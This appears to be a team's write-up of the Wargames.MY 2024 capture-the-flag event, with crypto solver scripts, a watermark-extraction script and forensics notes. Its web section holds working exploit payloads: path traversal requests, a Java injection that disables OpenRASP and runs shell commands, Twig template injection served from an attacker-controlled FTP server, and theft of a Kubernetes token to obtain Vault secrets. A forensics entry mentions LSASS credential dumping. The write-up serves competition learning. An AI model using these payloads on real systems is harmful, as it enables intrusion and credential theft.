num_columns, max_rank = path[0]
num_columns=min(num_columns, AS.ncols())
remaining=[*range(num_columns, AS.ncols()+1)]
random.shuffle(remaining)
if hint:
remaining = [hint[0]]
candidates=[]
while remaining:
i = remaining.pop()
columns_slice = slice(i-num_columns, i)
actual_rank = AS[:, columns[columns_slice]].rank()
if actual_rank <= max_rank:
break
candidates.append((actual_rank, i))
if len(candidates) % 200 == 0:
print(sorted(candidates)[:50])
else:
print("!")
candidates = sorted(candidates)
raise RuntimeError(f"no candidates {candidates[:30]}")
print(f"{i=} {actual_rank=}")
global_hints.append(i)
sr, A1, AS1, b1, s1, e1, remaining_column_slice = try_reduce(num_columns, i)
column_remap=np.cumsum(remaining_column_slice)-1
sr2 = solve(A1, AS1, b1, s1, e1, [column_remap[x] for x in columns if remaining_column_slice[x]], path[1:], hint[1:])
sr = np.array(sr)
sr[sr==None] = sr2
return sr
AS = matrix(GF(p), *A.shape)
copy_from_numpy_2(AS, A)
assert AS.rank() == AS.nrows()
global_hints=[]
sr = solve(A, AS, b, s, e, columns, [(100, 30)]*200,
[8830, 9165, 9035, 8726, 1054, 143, 5448, 1708, 2803, 1370, 2342, 532, 3649, 6365, 1034, 1992, 7547, 6017, 1945, 3092, 1158, 3901, 2463, 2285, 1261, 4458, 1207, 3969, 2175, 136, 2519, 754, 1603, 844, 296, 564, 130, 195, 5, 0]
)
sr = solve(A, AS, b, None, None, columns, [(100, 30)]*200,
[8830, 9165, 9035, 8726, 1054, 143, 5448, 1708, 2803, 1370, 2342, 532, 3649, 6365, 1034, 1992, 7547, 6017, 1945, 3092, 1158, 3901, 2463, 2285, 1261, 4458, 1207, 3969, 2175, 136, 2519, 754, 1603, 844, 296, 564, 130, 195, 5, 0]
)
assert (sr==s).all()
while True:
proc = remote("43.217.80.203", 35166)
proc.readuntil(b'seed.hex() = ')
line = proc.readline().strip()
seed = bytes.fromhex(eval(line))
proc.readuntil(b'b.tolist() = ')
line = proc.readline().strip()
b = eval(line)
import random
import numpy as np
n = 500; p = 3691; k = 10; m = 20 * n
def change_support(support):
while (t := random.randint(0, n - 1)) in support: pass
support[random.randint(0, k - 1)] = t
return support
random.seed(seed)
A = np.zeros((n, m), dtype=int)
support = random.sample(range(n), k)
columns = list(range(m))
random.shuffle(columns)
for i in columns:
if (random.randint(0, 2) == 0):
support = change_support(support)
A[support, i] = [random.randint(0, p - 1) for _ in range(k)]
AS = matrix(GF(p), *A.shape)
copy_from_numpy_2(AS, A)
AS_rank = AS.rank()
if AS_rank != AS.nrows():
print(f"insufficient rank {AS_rank}")
proc.kill()
continue
break
sr = solve(A, AS, np.array(b), None, None, columns, [(100, 30)]*200, [])
proc.readuntil(b's: ')
proc.sendline(str(sr.tolist()))
proc.interactive()
```
### LPN
```py
from hashlib import sha256
import os
import secrets
import signal
F.<z> = GF(2^128)
n = 20; m = 100
seed = os.urandom(16)
set_random_seed(int.from_bytes(seed, 'big'))
A = [[F.random_element() for _ in range(m)] for _ in range(n)]
A = Matrix(F, A)
set_random_seed(int.from_bytes(os.urandom(16), 'big'))
e_elem_1 = F.random_element()
e_elem_2 = F.random_element()
assert e_elem_1 != e_elem_2
s = vector(F, [F.random_element() for _ in range(n)])
e = vector(F, [e_elem_1 if secrets.randbits(1) else e_elem_2 for _ in range(m)])
b = s * A + e
print(f'{seed.hex() = }')
print(f'{list(b) = }')
s_ = input('hash(s): ')
proc = remote("43.217.80.203", 35245)
proc.readuntil("seed.hex() = ")
line = proc.readline()
seed = bytes.fromhex(eval(preparse(line.decode())))
set_random_seed(int.from_bytes(seed, 'big'))
A = [[F.random_element() for _ in range(m)] for _ in range(n)]
A = Matrix(F, A)
proc.readuntil("list(b) = ")
line = proc.readline()
b = vector(F, eval(preparse(line.decode())))
A1 = matrix.block([
[A[:, :n+3]],
[matrix.ones(1, n+3)],
]).rref()
assert A1[:, :n+1] == matrix.identity(F, n+1)
u, v = b[:n+1] * A1[:, n+1:] + b[n+1:n+3]
u /= v
v = 1
A2 = A1[:, n+1:].stack(matrix.identity(F, 2)) * vector([1, u])
A3 = np.array([[*x] for x in A2], dtype=int)
first_half = (n+3)//2
import itertools
A3_1 = A3[:first_half]
A3_2 = A3[first_half:]
d = { bytes(np.packbits((l@A3_1)%2)) : l for l in itertools.product((0, 1), repeat=first_half)}
del d[bytes(np.packbits(np.zeros(A3_1.shape[1], dtype=np.uint8)))]
for l in itertools.product((0, 1), repeat=n+3-first_half):
key = bytes(np.packbits((l@A3_2)%2))
if key in d:
break
else: assert False
e2 = vector(d[key] + l)
s1 = matrix.block([
[A[:, :n+3]],
[matrix.ones(1, n+3)],
[e2.row()],
]).solve_left(b[:n+3])[:-2]
proc.sendline(str(sha256(str(list(s1)).encode()).hexdigest()))
proc.interactive()
```
### Isogeny
```python
ls = list(prime_range(3,117))
p = 4 * prod(ls) - 1
F = GF(p)
E = EllipticCurve(F, [1, 0])
from pathlib import Path
data = Path("output.txt").read_text().strip().split("\n")
data = [list(map(ZZ, x.split(", "))) for x in data]
import tqdm
for i in tqdm.trange(500):
l = data[i*3:i*3+3]
for w in ls:
while (P := E.random_point() * ((p + 1) // w)) == E(0):
pass
phi = E.isogeny(P)
if all(phi(E.lift_x(x))[0] == x2 for x, x2 in l):
break
else:
assert False
E = phi.codomain()
from hashlib import md5
FLAG = "wgmy{" + md5(str(E.j_invariant()).encode()).hexdigest() + "}"
print(FLAG)
```
## Crypto
### Hohoho 3
The whole thing is affine
note that `p ^ q ^ r == s`
if we send
```
1
Santa Claup
1
Santa Clauq
1
Santa Claur
```
we can xor the result
```py
xor(
bytes.fromhex('f53f2d8368770f091d46f22e47877a11'),
bytes.fromhex('c9eb0d7e88beee659b3b5ecec58eb409'),
bytes.fromhex('8c976c78a9e4cdd011bdabef4394e621'),
).hex()
```
and paste the result back
```
2
Santa Claus
b0434c85492d2cbc97c0070fc19d2839
4
```
### Credentials
https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/credentials-crypto
### Ricks Algorithm
https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/ricks-algorithm-crypto
### Ricks Algorithm 2
https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/ricks-algorithm-2-crypto
### Hohoho 3 Continued
https://elijahchia.gitbook.io/ctf-blog/wargames.my-ctf-2024/hohoho-3-continue-crypto
## Misc
### Watermarked?
> Got this from social media, someone said it's watermarked, is it?
Googling for `watermarking methods "github.com"`, we eventually stumble upon Meta Research's repo, [Watermark Anything](https://github.com/facebookresearch/watermark-anything) (fits the "got this from social media" part of the chall description)
In the repo, we are given [examples](https://github.com/facebookresearch/watermark-anything/blob/main/notebooks/colab.ipynb) of how their method is used to hide 1 or 2 watermarks on the image. Since the image given was a gif with 65 frames, I assumed that each frame contained a letter or a chunk of data of some sort.
With the help from our friendly neighbouhood claude.ai (i didn't want to write the gif extraction), we wrote some code to split each frame of the gif, and adapted their code used to predict which bits have the watermark and what the watermark is
```py
import os
import torch
import torch.nn.functional as F
from PIL import Image
from torchvision.utils import save_image
import cv2
from watermark_anything.data.metrics import msg_predict_inference
from notebooks.inference_utils import (
load_model_from_checkpoint,
default_transform,
unnormalize_img,
msg2str
)
# Initialize device (GPU or CPU)
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
# Load the model from the specified checkpoint
exp_dir = "checkpoints"
json_path = os.path.join(exp_dir, "params.json")
ckpt_path = os.path.join(exp_dir, 'wam_mit.pth')
wam = load_model_from_checkpoint(json_path, ckpt_path).to(device).eval()
# Function to load an image and apply the necessary transformations
def load_img(path):
img = Image.open(path).convert("RGB")
img = default_transform(img).unsqueeze(0).to(device)
return img
# Function to extract frames from GIF
def extract_frames_from_gif(gif_path):
gif = cv2.VideoCapture(gif_path)
frames = []
success, frame = gif.read()
while success:
frames.append(frame)
success, frame = gif.read()
return frames
# Function to detect watermark in a single frame
def detect_watermark_in_frame(frame, model):
# Convert OpenCV image (BGR) to PIL image (RGB)
pil_frame = Image.fromarray(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))
# Pre-process the image using the default transformation
input_tensor = default_transform(pil_frame).unsqueeze(0).to(device)
# Detect the watermark in the frame
outputs = model.detect(input_tensor) # Outputs the prediction
preds = outputs["preds"] # [1, 33, 256, 256] -> Predicted mask and bits
mask_preds = F.sigmoid(preds[:, 0, :, :]) # [1, 256, 256], predicted mask
bit_preds = preds[:, 1:, :, :] # [1, 32, 256, 256], predicted bits
# Predict the embedded message and calculate bit accuracy
pred_message = msg_predict_inference(bit_preds, mask_preds).cpu().float() # [1, 32]
return pred_message, mask_preds
# Function to save the detection result (if needed)
def save_detection_result(frame, frame_id, output_dir, pred_message, mask_preds_res):
if not os.path.exists(output_dir):
os.makedirs(output_dir)
# Save the detected message and the predicted mask
save_image(mask_preds_res, f"{output_dir}/frame_{frame_id}_pred_mask.png")
print(f"Predicted message for frame {frame_id}: {msg2str(pred_message[0])}")
# Function to process the GIF and detect watermarks in each frame
def process_gif_for_watermarks(gif_path, model, output_dir):
frames = extract_frames_from_gif(gif_path)
for frame_id, frame in enumerate(frames):
pred_message, mask_preds = detect_watermark_in_frame(frame, model)
# Resize the predicted mask to match the original image size
mask_preds_res = F.interpolate(mask_preds.unsqueeze(1), size=(frame.shape[0], frame.shape[1]), mode="bilinear", align_corners=False) # [1, 1, H, W]
# Save the processed frame and its outputs
save_detection_result(frame, frame_id, output_dir, pred_message, mask_preds_res)
if __name__ == "__main__":
gif_path = "assets/images/watermarked.gif" # Path to the input GIF file
output_dir = "output" # Directory where processed frames will be saved
# Process the GIF to detect the watermark message
process_gif_for_watermarks(gif_path, wam, output_dir)
```
By running the above code, we get the following output:
```
Predicted message for frame 0: 01010111011000010111001001100111
<truncated for brevity>
Predicted message for frame 64: 00110010001100000011001000110100
```
Converting each frame's binary data to ascii text, we get the following message:
```
Wargames.MY is a 24-hour online CTF hacking game. Well, it is a competition of sorts. Congrats on solving this challenge! This is for you: wgmy{2cc46df0fb62c2a92732a4d252b8d9a7}. Thanks for playing with us. We hope you enjoy solving our challenges. -- WGMY2024
```
### Christmas Gift

### DCM Meta
https://jyjh.github.io/blog/posts/wgmy24/#dcm-meta
### Invisible Ink
https://jyjh.github.io/blog/posts/wgmy24/#invisible-ink
## Web
### Wordmarket
1. Obtain secret by POST request to admin-ajax.php with switch=1
2. Register user with `shop_manager` role using the `/add_user` endpoint.
3. Send POST request to insert path traversal payload into country code field. This will cause `/flag.php` to be included.
```
POST /wp-admin/admin.php?page=wc-settings&tab=csz HTTP/1.1
Host: 46.137.193.2
Content-Length: 874
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://46.137.193.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2TMrDSJIT4wtav0w
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://46.137.193.2/wp-admin/admin.php?page=wc-settings&tab=csz
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: blahblah
Connection: close
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_countries_codes[]"
../../../../../../../../../../flag
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_set_zone_locations"
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_set_zone_country"
MY
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="wc_csz_set_zone_id"
6
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="save"
Save changes
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="_wpnonce"
44b16f0b6b
------WebKitFormBoundary2TMrDSJIT4wtav0w
Content-Disposition: form-data; name="_wp_http_referer"
/wp-admin/admin.php?page=wc-settings&tab=csz
------WebKitFormBoundary2TMrDSJIT4wtav0w--
```
### Wizard Chamber
1. Disable openRASP hooking:
```java
2.class.forName("com.baidu.openrasp.config.Config").getMethod("setDisableHooks", "a".class).invoke(2.class.forName("com.baidu.openrasp.config.Config").methods[0].invoke(null), "true")
```
2. Read flag:
```java
2.class.forName("ja"+"va.util.Arrays").getMethod("toString", " ".getBytes().class).invoke(null, 2.class.forName("ja"+"va.lang.Ru"+"ntime").methods[0].invoke(null).exec("cat /flag-REDACTED.txt").getInputStream().readAllBytes())
```
### Dear admin
1. Setup FTP server on own server. PHP `file_exists` will allow `ftp://` scheme.
2. Host payload in `templates/admin_review.twig` on FTP server:
```
{% set people = ["cat /flag*"] %}
{% set t = "tem" %}
{% set s = "sys#{t}" %}
{{ people|map(s)|join(', ') }}
```
3. View review to obtain flag
### Warmup 2
Path traversal in Jaguar library, use `/proc/self/environ` to read env vars containing flag:
```
GET /..%2f..%2fproc%2fself%2fenviron HTTP/1.1
Host: dart.wgmy
Upgrade-Insecure-Requests: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
```
### Secret 2
1. Kubernetes auth enabled in Vault
2. Service account JWT located in `/var/run/secrets/kubernetes.io/serviceaccount/token`, use path traversal from Warmup 2 to retrieve
3. Exchange JWT for Vault access token, then fetch the flag:
```python
import requests
res = requests.post("http://13.76.138.239/vault/v1/auth/kubernetes/login", headers={
"Host": "nginx.wgmy",
}, json={"jwt":"....", "role":"wgmy"}).json()
print(res)
tkn = res["auth"]["client_token"]
print(requests.get("http://13.76.138.239/vault/v1/kv/data/flag", headers={
"Host": "nginx.wgmy",
"X-Vault-Token": tkn
}).text)
```
## Forensics
### I Cant Manipulate People
`tshark -r traffic.pcap -Y "icmp" -T fields -e data | xxd -r -p`
Flag: `WGMY{1e3b71d57e466ab71b43c2641a4b34f4}`
### Unwanted Meow
Remove all entries of the word "meow", twice
```python
with open("flag.shredded", "rb") as f:
contents = f.read()
with open("flag.jpg", "wb") as f:
f.write(contents.replace(b"meow", b"").replace(b"meow", b""))
```
Flag: `WGMY{4a4be40c96ac6314e91d93f38043a634}`
### Oh Man
Basically follow this [writeup](https://medium.com/maverislabs/decrypting-smb3-traffic-with-just-a-pcap-absolutely-maybe-712ed23ff6a2) to extract NTLMv2 hash, cracking it reveals the password to be `password<3`
We can then inspect SMB3 traffic and find the output of [nanodump](https://github.com/fortra/nanodump)
Run `scripts/restore_signature` and then dump the LSASS secrets using pypykatz, revealing the flag
Flag: `wgmy{fbba48bee397414246f864fe4d2925e4}`
### Tricky Malware
Use volatility3, `pslist` shows that `crypt.exe` is ran from "C:\Users\user\Desktop\Blow\crypt.exe"
Dump the binary out using `dumpfiles`, observe that it is a Pyinstaller compiled executable. Use [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor) to extract `crypt.pyc` out, and use [pylingual](https://pylingual.io/) to decompile the pyc file.
There's a pastebin link: <https://pastebin.com/raw/PDXfh5bb>, revealing the flag.
Flag: `WGMY{8b9777c8d7da5b10b65165489302af32}`
## Blockchain
All blockchain writeups can be found here https://jyjh.github.io/blog/posts/wgmy24/#blockchain.